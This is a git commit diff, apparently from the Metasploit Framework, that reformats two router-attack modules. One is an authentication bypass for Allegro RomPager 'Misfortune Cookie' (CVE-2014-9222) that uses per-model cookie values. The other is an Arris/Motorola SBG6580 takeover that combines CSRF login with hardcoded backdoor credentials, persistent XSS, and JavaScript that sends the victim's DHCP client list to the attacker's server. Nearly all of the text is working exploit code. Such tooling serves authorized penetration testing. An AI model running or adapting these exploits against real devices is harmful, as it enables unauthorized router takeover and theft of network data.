Run rubocop on auxiliary admin http modules
This commit is contained in:
parent
11c886b30f
commit
6e9b33dc88
|
@ -8,122 +8,149 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass",
|
||||
'Description' => %q(
|
||||
This module exploits HTTP servers that appear to be vulnerable to the
|
||||
'Misfortune Cookie' vulnerability which affects Allegro Software
|
||||
Rompager versions before 4.34 and can allow attackers to authenticate
|
||||
to the HTTP service as an administrator without providing valid
|
||||
credentials.
|
||||
),
|
||||
'Author' => [
|
||||
'Jon Hart <jon_hart[at]rapid7.com>', # metasploit scanner module
|
||||
'Jan Trencansky <jan.trencansky[at]gmail.com>', # metasploit auxiliary admin module
|
||||
'Lior Oppenheim' # CVE-2014-9222
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2014-9222'],
|
||||
['URL', 'https://web.archive.org/web/20191006135858/http://mis.fortunecook.ie/'],
|
||||
['URL', 'https://web.archive.org/web/20190207102911/http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
|
||||
['URL', 'https://web.archive.org/web/20190623150837/http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
|
||||
],
|
||||
'DisclosureDate' => '2014-12-17',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass",
|
||||
'Description' => %q{
|
||||
This module exploits HTTP servers that appear to be vulnerable to the
|
||||
'Misfortune Cookie' vulnerability which affects Allegro Software
|
||||
Rompager versions before 4.34 and can allow attackers to authenticate
|
||||
to the HTTP service as an administrator without providing valid
|
||||
credentials.
|
||||
},
|
||||
'Author' => [
|
||||
'Jon Hart <jon_hart[at]rapid7.com>', # metasploit scanner module
|
||||
'Jan Trencansky <jan.trencansky[at]gmail.com>', # metasploit auxiliary admin module
|
||||
'Lior Oppenheim' # CVE-2014-9222
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2014-9222'],
|
||||
['URL', 'https://web.archive.org/web/20191006135858/http://mis.fortunecook.ie/'],
|
||||
['URL', 'https://web.archive.org/web/20190207102911/http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
|
||||
['URL', 'https://web.archive.org/web/20190623150837/http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
|
||||
],
|
||||
'DisclosureDate' => '2014-12-17',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'URI to test', '/']),
|
||||
], Exploit::Remote::HttpClient
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'URI to test', '/']),
|
||||
], Exploit::Remote::HttpClient
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new("ForceAttempt", [ false, "Force exploit attempt for all known cookies", false ]),
|
||||
], Exploit::Remote::HttpClient
|
||||
[
|
||||
Msf::OptBool.new('ForceAttempt', [ false, 'Force exploit attempt for all known cookies', false ]),
|
||||
], Exploit::Remote::HttpClient
|
||||
)
|
||||
end
|
||||
|
||||
def headers
|
||||
{
|
||||
'Referer' => full_uri
|
||||
'Referer' => full_uri
|
||||
}
|
||||
end
|
||||
|
||||
# List of known values and models
|
||||
def devices_list
|
||||
known_devices = {
|
||||
:'AZ-D140W'=>
|
||||
{:name=>'Azmoon', :model=>'AZ-D140W', :values=>[
|
||||
[107367693, 13]
|
||||
]},
|
||||
:'BiPAC 5102S'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5102S', :values=>[
|
||||
:'AZ-D140W' =>
|
||||
{
|
||||
name: 'Azmoon', model: 'AZ-D140W', values: [
|
||||
[107367693, 13]
|
||||
]
|
||||
},
|
||||
:'BiPAC 5102S' =>
|
||||
{
|
||||
name: 'Billion', model: 'BiPAC 5102S', values: [
|
||||
[107369694, 13]
|
||||
]},
|
||||
:'BiPAC 5200'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5200', :values=>[
|
||||
]
|
||||
},
|
||||
:'BiPAC 5200' =>
|
||||
{
|
||||
name: 'Billion', model: 'BiPAC 5200', values: [
|
||||
[107369545, 9],
|
||||
[107371218, 21]
|
||||
]},
|
||||
:'BiPAC 5200A'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5200A', :values=>[
|
||||
]
|
||||
},
|
||||
:'BiPAC 5200A' =>
|
||||
{
|
||||
name: 'Billion', model: 'BiPAC 5200A', values: [
|
||||
[107366366, 25],
|
||||
[107371453, 9]
|
||||
]},
|
||||
:'BiPAC 5200GR4'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5200GR4', :values=>[
|
||||
]
|
||||
},
|
||||
:'BiPAC 5200GR4' =>
|
||||
{
|
||||
name: 'Billion', model: 'BiPAC 5200GR4', values: [
|
||||
[107367690, 21]
|
||||
]},
|
||||
:'BiPAC 5200SRD'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5200SRD', :values=>[
|
||||
]
|
||||
},
|
||||
:'BiPAC 5200SRD' =>
|
||||
{
|
||||
name: 'Billion', model: 'BiPAC 5200SRD', values: [
|
||||
[107368270, 1],
|
||||
[107371378, 3],
|
||||
[107371218, 13]
|
||||
]},
|
||||
:'DSL-2520U'=>
|
||||
{:name=>'D-Link', :model=>'DSL-2520U', :values=>[
|
||||
]
|
||||
},
|
||||
:'DSL-2520U' =>
|
||||
{
|
||||
name: 'D-Link', model: 'DSL-2520U', values: [
|
||||
[107368902, 25]
|
||||
]},
|
||||
:'DSL-2600U'=>
|
||||
{:name=>'D-Link', :model=>'DSL-2600U', :values=>[
|
||||
]
|
||||
},
|
||||
:'DSL-2600U' =>
|
||||
{
|
||||
name: 'D-Link', model: 'DSL-2600U', values: [
|
||||
[107366496, 13],
|
||||
[107360133, 20]
|
||||
]},
|
||||
:'TD-8616'=>
|
||||
{:name=> 'TP-Link', :model=>'TD-8616', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-8616' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-8616', values: [
|
||||
[107371483, 21],
|
||||
[107369790, 17],
|
||||
[107371161, 1],
|
||||
[107371426, 17],
|
||||
[107370211, 5],
|
||||
]},
|
||||
:'TD-8817'=>
|
||||
{:name=> 'TP-Link', :model=>'TD-8817', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-8817' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-8817', values: [
|
||||
[107369790, 17],
|
||||
[107369788, 1],
|
||||
[107369522, 25],
|
||||
[107369316, 21],
|
||||
[107369321, 9],
|
||||
[107351277, 20]
|
||||
]},
|
||||
:'TD-8820'=>
|
||||
{:name=>'TP-Link', :model=>'TD-8820', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-8820' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-8820', values: [
|
||||
[107369768, 17]
|
||||
]},
|
||||
:'TD-8840T'=>
|
||||
{:name=>'TP-Link', :model=>'TD-8840T', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-8840T' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-8840T', values: [
|
||||
[107369845, 5],
|
||||
[107369790, 17],
|
||||
[107369570, 1],
|
||||
[107369766, 1],
|
||||
[107369764, 5],
|
||||
[107369688, 17]
|
||||
]},
|
||||
:'TD-W8101G'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8101G', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-W8101G' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-W8101G', values: [
|
||||
[107367772, 37],
|
||||
[107367808, 21],
|
||||
[107367751, 21],
|
||||
|
@ -131,13 +158,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[107367765, 25],
|
||||
[107367052, 25],
|
||||
[107365835, 1]
|
||||
]},
|
||||
:'TD-W8151N'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8151N', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-W8151N' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-W8151N', values: [
|
||||
[107353867, 24]
|
||||
]},
|
||||
:'TD-W8901G'=>
|
||||
{:name=> 'TP-Link', :model=>'TD-W8901G', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-W8901G' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-W8901G', values: [
|
||||
[107367787, 21],
|
||||
[107368013, 5],
|
||||
[107367854, 9],
|
||||
|
@ -147,33 +178,43 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[107367682, 21],
|
||||
[107365835, 1],
|
||||
[107367052, 25]
|
||||
]},
|
||||
:'TD-W8901GB'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8901GB', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-W8901GB' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-W8901GB', values: [
|
||||
[107367756, 13],
|
||||
[107369393, 21]
|
||||
]},
|
||||
:'TD-W8901N'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8901N', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-W8901N' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-W8901N', values: [
|
||||
[107353880, 0]
|
||||
]},
|
||||
:'TD-W8951ND'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8951ND', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-W8951ND' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-W8951ND', values: [
|
||||
[107369839, 25],
|
||||
[107369876, 13],
|
||||
[107366743, 21],
|
||||
[107364759, 25],
|
||||
[107364759, 13],
|
||||
[107364760, 21]
|
||||
]},
|
||||
:'TD-W8961NB'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8961NB', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-W8961NB' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-W8961NB', values: [
|
||||
[107369844, 17],
|
||||
[107367629, 21],
|
||||
[107366421, 13]
|
||||
]},
|
||||
:'TD-W8961ND'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8961ND', :values=>[
|
||||
]
|
||||
},
|
||||
:'TD-W8961ND' =>
|
||||
{
|
||||
name: 'TP-Link', model: 'TD-W8961ND', values: [
|
||||
[107369839, 25],
|
||||
[107369876, 13],
|
||||
[107364732, 25],
|
||||
|
@ -181,18 +222,22 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[107364762, 29],
|
||||
[107353880, 0],
|
||||
[107353414, 36]
|
||||
]},
|
||||
:'P-660R-T3 v3'=> #This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s
|
||||
{:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[
|
||||
[107369567, 21]
|
||||
]},
|
||||
:'P-660RU-T3 v2'=> #Couldn't verify this
|
||||
{:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[
|
||||
[107369567, 21]
|
||||
]},
|
||||
ALL=> # Used when `ForceAttempt` === true
|
||||
{:name=>'Unknown', :model=>'Forced', :values=>[]
|
||||
]
|
||||
},
|
||||
:'P-660R-T3 v3' => # This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s
|
||||
{
|
||||
name: 'ZyXEL', model: 'P-660R-T3', values: [
|
||||
[107369567, 21]
|
||||
]
|
||||
},
|
||||
:'P-660RU-T3 v2' => # Couldn't verify this
|
||||
{
|
||||
name: 'ZyXEL', model: 'P-660R-T3', values: [
|
||||
[107369567, 21]
|
||||
]
|
||||
},
|
||||
ALL => # Used when `ForceAttempt` === true
|
||||
{ name: 'Unknown', model: 'Forced', values: [] }
|
||||
}
|
||||
# collect all known cookies for a brute force option
|
||||
all_cookies = []
|
||||
|
@ -203,17 +248,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
known_devices
|
||||
end
|
||||
|
||||
|
||||
def check_response_fingerprint(res, fallback_status)
|
||||
fp = http_fingerprint(response: res)
|
||||
vprint_status("Fingerprint: #{fp}")
|
||||
# ensure the fingerprint at least appears vulnerable
|
||||
if /RomPager\/(?<version>[\d\.]+)/ =~ fp
|
||||
if %r{RomPager/(?<version>[\d.]+)} =~ fp
|
||||
vprint_status("#{peer} is RomPager #{version}")
|
||||
if Rex::Version.new(version) < Rex::Version.new('4.34')
|
||||
if /realm="(?<model>.+)"/ =~ fp
|
||||
return model
|
||||
end
|
||||
if Rex::Version.new(version) < Rex::Version.new('4.34') && /realm="(?<model>.+)"/ =~ fp
|
||||
return model
|
||||
end
|
||||
end
|
||||
fallback_status
|
||||
|
@ -221,29 +263,29 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def run
|
||||
res = send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'GET'
|
||||
)
|
||||
model = check_response_fingerprint(res, Exploit::CheckCode::Detected)
|
||||
if model != Exploit::CheckCode::Detected
|
||||
devices = devices_list[model.to_sym]
|
||||
devices = devices_list[:ALL] if devices.nil? && datastore['ForceAttempt']
|
||||
if devices != nil
|
||||
if !devices.nil?
|
||||
print_good("Detected device:#{devices[:name]} #{devices[:model]}")
|
||||
devices[:values].each { |value|
|
||||
cookie = "C#{value[0]}=#{'B'*value[1]}\x00"
|
||||
devices[:values].each do |value|
|
||||
cookie = "C#{value[0]}=#{'B' * value[1]}\x00"
|
||||
res = send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'GET',
|
||||
'headers' => headers.merge('Cookie' => cookie)
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'GET',
|
||||
'headers' => headers.merge('Cookie' => cookie)
|
||||
)
|
||||
if res != nil and res.code <= 302
|
||||
if !res.nil? && (res.code <= 302)
|
||||
print_good('Good response, please check host, authentication should be disabled')
|
||||
break
|
||||
else
|
||||
print_error('Bad response')
|
||||
end
|
||||
}
|
||||
end
|
||||
else
|
||||
print_error("No matching values for fingerprint #{model}")
|
||||
end
|
||||
|
|
|
@ -8,80 +8,81 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover',
|
||||
'Description' => %q{
|
||||
The web interface for the Arris / Motorola Surfboard SBG6580 has
|
||||
several vulnerabilities that, when combined, allow an arbitrary website to take
|
||||
control of the modem, even if the user is not currently logged in. The attacker
|
||||
must successfully know, or guess, the target's internal gateway IP address.
|
||||
This is usually a default value of 192.168.0.1.
|
||||
|
||||
The web interface for the Arris / Motorola Surfboard SBG6580 has
|
||||
several vulnerabilities that, when combined, allow an arbitrary website to take
|
||||
control of the modem, even if the user is not currently logged in. The attacker
|
||||
must successfully know, or guess, the target's internal gateway IP address.
|
||||
This is usually a default value of 192.168.0.1.
|
||||
First, a hardcoded backdoor account was discovered in the source code
|
||||
of one device with the credentials "technician/yZgO8Bvj". Due to lack of CSRF
|
||||
in the device's login form, these credentials - along with the default
|
||||
"admin/motorola" - can be sent to the device by an arbitrary website, thus
|
||||
inadvertently logging the user into the router.
|
||||
|
||||
First, a hardcoded backdoor account was discovered in the source code
|
||||
of one device with the credentials "technician/yZgO8Bvj". Due to lack of CSRF
|
||||
in the device's login form, these credentials - along with the default
|
||||
"admin/motorola" - can be sent to the device by an arbitrary website, thus
|
||||
inadvertently logging the user into the router.
|
||||
Once successfully logged in, a persistent XSS vulnerability is
|
||||
exploited in the firewall configuration page. This allows injection of
|
||||
Javascript that can perform any available action in the router interface.
|
||||
|
||||
Once successfully logged in, a persistent XSS vulnerability is
|
||||
exploited in the firewall configuration page. This allows injection of
|
||||
Javascript that can perform any available action in the router interface.
|
||||
The following firmware versions have been tested as vulnerable:
|
||||
|
||||
The following firmware versions have been tested as vulnerable:
|
||||
|
||||
SBG6580-6.5.2.0-GA-06-077-NOSH, and
|
||||
SBG6580-8.6.1.0-GA-04-098-NOSH
|
||||
|
||||
},
|
||||
'Author' => [ 'joev' ],
|
||||
'DisclosureDate' => '2015-04-08',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer',
|
||||
'References' => [
|
||||
[ 'CVE', '2015-0964' ], # XSS vulnerability
|
||||
[ 'CVE', '2015-0965' ], # CSRF vulnerability
|
||||
[ 'CVE', '2015-0966' ], # "techician/yZgO8Bvj" web interface backdoor
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ],
|
||||
]
|
||||
))
|
||||
SBG6580-6.5.2.0-GA-06-077-NOSH, and
|
||||
SBG6580-8.6.1.0-GA-04-098-NOSH
|
||||
},
|
||||
'Author' => [ 'joev' ],
|
||||
'DisclosureDate' => '2015-04-08',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer',
|
||||
'References' => [
|
||||
[ 'CVE', '2015-0964' ], # XSS vulnerability
|
||||
[ 'CVE', '2015-0965' ], # CSRF vulnerability
|
||||
[ 'CVE', '2015-0966' ], # "techician/yZgO8Bvj" web interface backdoor
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ],
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('DEVICE_IP', [
|
||||
false,
|
||||
"Internal IP address of the vulnerable device.",
|
||||
'Internal IP address of the vulnerable device.',
|
||||
'192.168.0.1'
|
||||
]),
|
||||
OptString.new('LOGINS', [
|
||||
false,
|
||||
"Comma-separated list of user/pass combinations to attempt.",
|
||||
'Comma-separated list of user/pass combinations to attempt.',
|
||||
'technician/yZgO8Bvj,admin/motorola'
|
||||
]),
|
||||
OptBool.new('DUMP_DHCP_LIST', [
|
||||
true,
|
||||
"Dump the MAC, IP, and hostnames of all registered DHCP clients.",
|
||||
'Dump the MAC, IP, and hostnames of all registered DHCP clients.',
|
||||
true
|
||||
]),
|
||||
OptInt.new('SET_DMZ_HOST', [
|
||||
false,
|
||||
"The final octet of the IP address to set in the DMZ (1-255).",
|
||||
'The final octet of the IP address to set in the DMZ (1-255).',
|
||||
nil
|
||||
]),
|
||||
OptString.new('BLOCK_INTERNET_ACCESS', [
|
||||
false,
|
||||
"Comma-separated list of IP addresses to block internet access for.",
|
||||
'Comma-separated list of IP addresses to block internet access for.',
|
||||
''
|
||||
]),
|
||||
OptString.new('CUSTOM_JS', [
|
||||
false,
|
||||
"A string of javascript to execute in the context of the device web interface.",
|
||||
'A string of javascript to execute in the context of the device web interface.',
|
||||
''
|
||||
]),
|
||||
OptString.new('REMOTE_JS', [
|
||||
false,
|
||||
"A URL to inject into a script tag in the context of the device web interface.",
|
||||
'A URL to inject into a script tag in the context of the device web interface.',
|
||||
''
|
||||
])
|
||||
])
|
||||
|
@ -91,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if datastore['SET_DMZ_HOST']
|
||||
dmz_host = datastore['SET_DMZ_HOST'].to_i
|
||||
if dmz_host < 1 || dmz_host > 255
|
||||
raise ArgumentError, "DMZ host must be an integer between 1 and 255."
|
||||
raise ArgumentError, 'DMZ host must be an integer between 1 and 255.'
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -101,12 +102,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def on_request_uri(cli, request)
|
||||
if request.method =~ /post/i
|
||||
file = store_loot(
|
||||
"dhcp.clients", "text/json", cli.peerhost,
|
||||
request.body, "arris_surfboard_xss", "DHCP client list gathered from modem"
|
||||
'dhcp.clients', 'text/json', cli.peerhost,
|
||||
request.body, 'arris_surfboard_xss', 'DHCP client list gathered from modem'
|
||||
)
|
||||
print_good "Dumped DHCP client list from #{cli.peerhost}"
|
||||
print_good file
|
||||
elsif request.uri =~ /\/dmz$/i
|
||||
elsif request.uri =~ %r{/dmz$}i
|
||||
print_good "DMZ host successfully reset to #{datastore['SET_DMZ_HOST']}."
|
||||
send_response_html(cli, '')
|
||||
else
|
||||
|
@ -116,7 +117,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def set_dmz_host_js
|
||||
return '' unless datastore['SET_DMZ_HOST'].present?
|
||||
%Q|
|
||||
|
||||
%|
|
||||
var x = new XMLHttpRequest;
|
||||
x.open('POST', '/goform/RgDmzHost.pl');
|
||||
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
|
||||
|
@ -127,7 +129,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def dump_dhcp_list_js
|
||||
return '' unless datastore['DUMP_DHCP_LIST']
|
||||
%Q|
|
||||
|
||||
%|
|
||||
var f = document.createElement('iframe');
|
||||
f.src = '/RgDhcp.asp';
|
||||
f.onload = function() {
|
||||
|
@ -165,144 +168,144 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def exploit_html
|
||||
<<-EOS
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
<<~EOS
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
|
||||
<script>
|
||||
<script>
|
||||
|
||||
window.onmessage = function(e) {
|
||||
var data = JSON.parse(e.data);
|
||||
if (data.type == 'dhcp') {
|
||||
var rows = JSON.stringify(data.rows);
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('POST', '#{get_uri}/collect');
|
||||
xhr.send(rows);
|
||||
} else if (data.type == 'dmz') {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', '#{get_uri}/dmz');
|
||||
xhr.send();
|
||||
}
|
||||
}
|
||||
|
||||
var js = (#{JSON.generate({ js: exploit_js })}).js;
|
||||
|
||||
var HIDDEN_STYLE =
|
||||
'position:absolute;left:-9999px;top:-9999px;';
|
||||
|
||||
function exploit(hosts, logins) {
|
||||
for (var idx in hosts) {
|
||||
buildImage(hosts[idx]);
|
||||
}
|
||||
|
||||
function buildImage(host) {
|
||||
var img = new Image();
|
||||
img.src = host + '/images/px1_Ux.png';
|
||||
img.setAttribute('style', HIDDEN_STYLE);
|
||||
img.onload = function() {
|
||||
if (img.width === 1 && img.height === 1) {
|
||||
deviceFound(host, img);
|
||||
}
|
||||
img.parentNode.removeChild(img);
|
||||
};
|
||||
img.onerror = function() {
|
||||
img.src = host + '/logo_new.gif';
|
||||
img.onload = function() {
|
||||
if (img.width === 176 && img.height === 125) {
|
||||
deviceFound(host, img);
|
||||
window.onmessage = function(e) {
|
||||
var data = JSON.parse(e.data);
|
||||
if (data.type == 'dhcp') {
|
||||
var rows = JSON.stringify(data.rows);
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('POST', '#{get_uri}/collect');
|
||||
xhr.send(rows);
|
||||
} else if (data.type == 'dmz') {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', '#{get_uri}/dmz');
|
||||
xhr.send();
|
||||
}
|
||||
}
|
||||
img.onerror = function() {
|
||||
img.parentNode.removeChild(img);
|
||||
};
|
||||
};
|
||||
document.body.appendChild(img);
|
||||
}
|
||||
|
||||
function deviceFound(host, img) {
|
||||
// but also lets attempt to log the user in with every login
|
||||
var count = 0;
|
||||
for (var idx in logins) {
|
||||
attemptLogin(host, logins[idx], function() {
|
||||
if (++count >= logins.length) {
|
||||
attemptExploit(host);
|
||||
var js = (#{JSON.generate({ js: exploit_js })}).js;
|
||||
|
||||
var HIDDEN_STYLE =
|
||||
'position:absolute;left:-9999px;top:-9999px;';
|
||||
|
||||
function exploit(hosts, logins) {
|
||||
for (var idx in hosts) {
|
||||
buildImage(hosts[idx]);
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function attemptExploit(host) {
|
||||
var form = document.createElement('form');
|
||||
form.setAttribute('style', HIDDEN_STYLE);
|
||||
form.setAttribute('method', 'POST');
|
||||
form.setAttribute('action', host+'/goform/RgFirewallEL')
|
||||
document.body.appendChild(form);
|
||||
function buildImage(host) {
|
||||
var img = new Image();
|
||||
img.src = host + '/images/px1_Ux.png';
|
||||
img.setAttribute('style', HIDDEN_STYLE);
|
||||
img.onload = function() {
|
||||
if (img.width === 1 && img.height === 1) {
|
||||
deviceFound(host, img);
|
||||
}
|
||||
img.parentNode.removeChild(img);
|
||||
};
|
||||
img.onerror = function() {
|
||||
img.src = host + '/logo_new.gif';
|
||||
img.onload = function() {
|
||||
if (img.width === 176 && img.height === 125) {
|
||||
deviceFound(host, img);
|
||||
}
|
||||
}
|
||||
img.onerror = function() {
|
||||
img.parentNode.removeChild(img);
|
||||
};
|
||||
};
|
||||
document.body.appendChild(img);
|
||||
}
|
||||
|
||||
var inputs = [];
|
||||
var inputNames = [
|
||||
'EmailAddress', 'SmtpServerName', 'SmtpUsername',
|
||||
'SmtpPassword', 'LogAction'
|
||||
];
|
||||
function deviceFound(host, img) {
|
||||
// but also lets attempt to log the user in with every login
|
||||
var count = 0;
|
||||
for (var idx in logins) {
|
||||
attemptLogin(host, logins[idx], function() {
|
||||
if (++count >= logins.length) {
|
||||
attemptExploit(host);
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
var input;
|
||||
for (var idx in inputNames) {
|
||||
input = document.createElement('input');
|
||||
input.setAttribute('type', 'hidden');
|
||||
input.setAttribute('name', inputNames[idx]);
|
||||
form.appendChild(input);
|
||||
inputs.push(input)
|
||||
}
|
||||
inputs[0].setAttribute('value', '<script>@a.com<script>eval(window.name);<\\/script>');
|
||||
inputs[inputs.length-1].setAttribute('value', '0');
|
||||
function attemptExploit(host) {
|
||||
var form = document.createElement('form');
|
||||
form.setAttribute('style', HIDDEN_STYLE);
|
||||
form.setAttribute('method', 'POST');
|
||||
form.setAttribute('action', host+'/goform/RgFirewallEL')
|
||||
document.body.appendChild(form);
|
||||
|
||||
var iframe = document.createElement('iframe');
|
||||
iframe.setAttribute('style', HIDDEN_STYLE);
|
||||
var inputs = [];
|
||||
var inputNames = [
|
||||
'EmailAddress', 'SmtpServerName', 'SmtpUsername',
|
||||
'SmtpPassword', 'LogAction'
|
||||
];
|
||||
|
||||
window.id = window.id || 1;
|
||||
var name = '/*abc'+(window.id++)+'*/ '+js;
|
||||
iframe.setAttribute('name', name);
|
||||
document.body.appendChild(iframe);
|
||||
var input;
|
||||
for (var idx in inputNames) {
|
||||
input = document.createElement('input');
|
||||
input.setAttribute('type', 'hidden');
|
||||
input.setAttribute('name', inputNames[idx]);
|
||||
form.appendChild(input);
|
||||
inputs.push(input)
|
||||
}
|
||||
inputs[0].setAttribute('value', '<script>@a.com<script>eval(window.name);<\\/script>');
|
||||
inputs[inputs.length-1].setAttribute('value', '0');
|
||||
|
||||
form.setAttribute('target', name);
|
||||
form.submit();
|
||||
var iframe = document.createElement('iframe');
|
||||
iframe.setAttribute('style', HIDDEN_STYLE);
|
||||
|
||||
setTimeout(function() {
|
||||
iframe.removeAttribute('sandbox');
|
||||
iframe.src = host+'/RgFirewallEL.asp';
|
||||
}, 1000);
|
||||
}
|
||||
window.id = window.id || 1;
|
||||
var name = '/*abc'+(window.id++)+'*/ '+js;
|
||||
iframe.setAttribute('name', name);
|
||||
document.body.appendChild(iframe);
|
||||
|
||||
function attemptLogin(host, login, cb) {
|
||||
try {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('POST', host+'/goform/login');
|
||||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||||
xhr.send('loginUsername='+encodeURIComponent(login[0])+
|
||||
'&loginPassword='+encodeURIComponent(login[1]));
|
||||
xhr.onerror = function() {
|
||||
cb && cb();
|
||||
cb = null;
|
||||
form.setAttribute('target', name);
|
||||
form.submit();
|
||||
|
||||
setTimeout(function() {
|
||||
iframe.removeAttribute('sandbox');
|
||||
iframe.src = host+'/RgFirewallEL.asp';
|
||||
}, 1000);
|
||||
}
|
||||
|
||||
function attemptLogin(host, login, cb) {
|
||||
try {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('POST', host+'/goform/login');
|
||||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||||
xhr.send('loginUsername='+encodeURIComponent(login[0])+
|
||||
'&loginPassword='+encodeURIComponent(login[1]));
|
||||
xhr.onerror = function() {
|
||||
cb && cb();
|
||||
cb = null;
|
||||
}
|
||||
} catch(e) {};
|
||||
}
|
||||
}
|
||||
} catch(e) {};
|
||||
}
|
||||
}
|
||||
|
||||
var logins = (#{JSON.generate({ logins: datastore['LOGINS'] })}).logins;
|
||||
var combos = logins.split(',');
|
||||
var splits = [], s = '';
|
||||
for (var i in combos) {
|
||||
s = combos[i].split('/');
|
||||
splits.push([s[0], s[1]]);
|
||||
}
|
||||
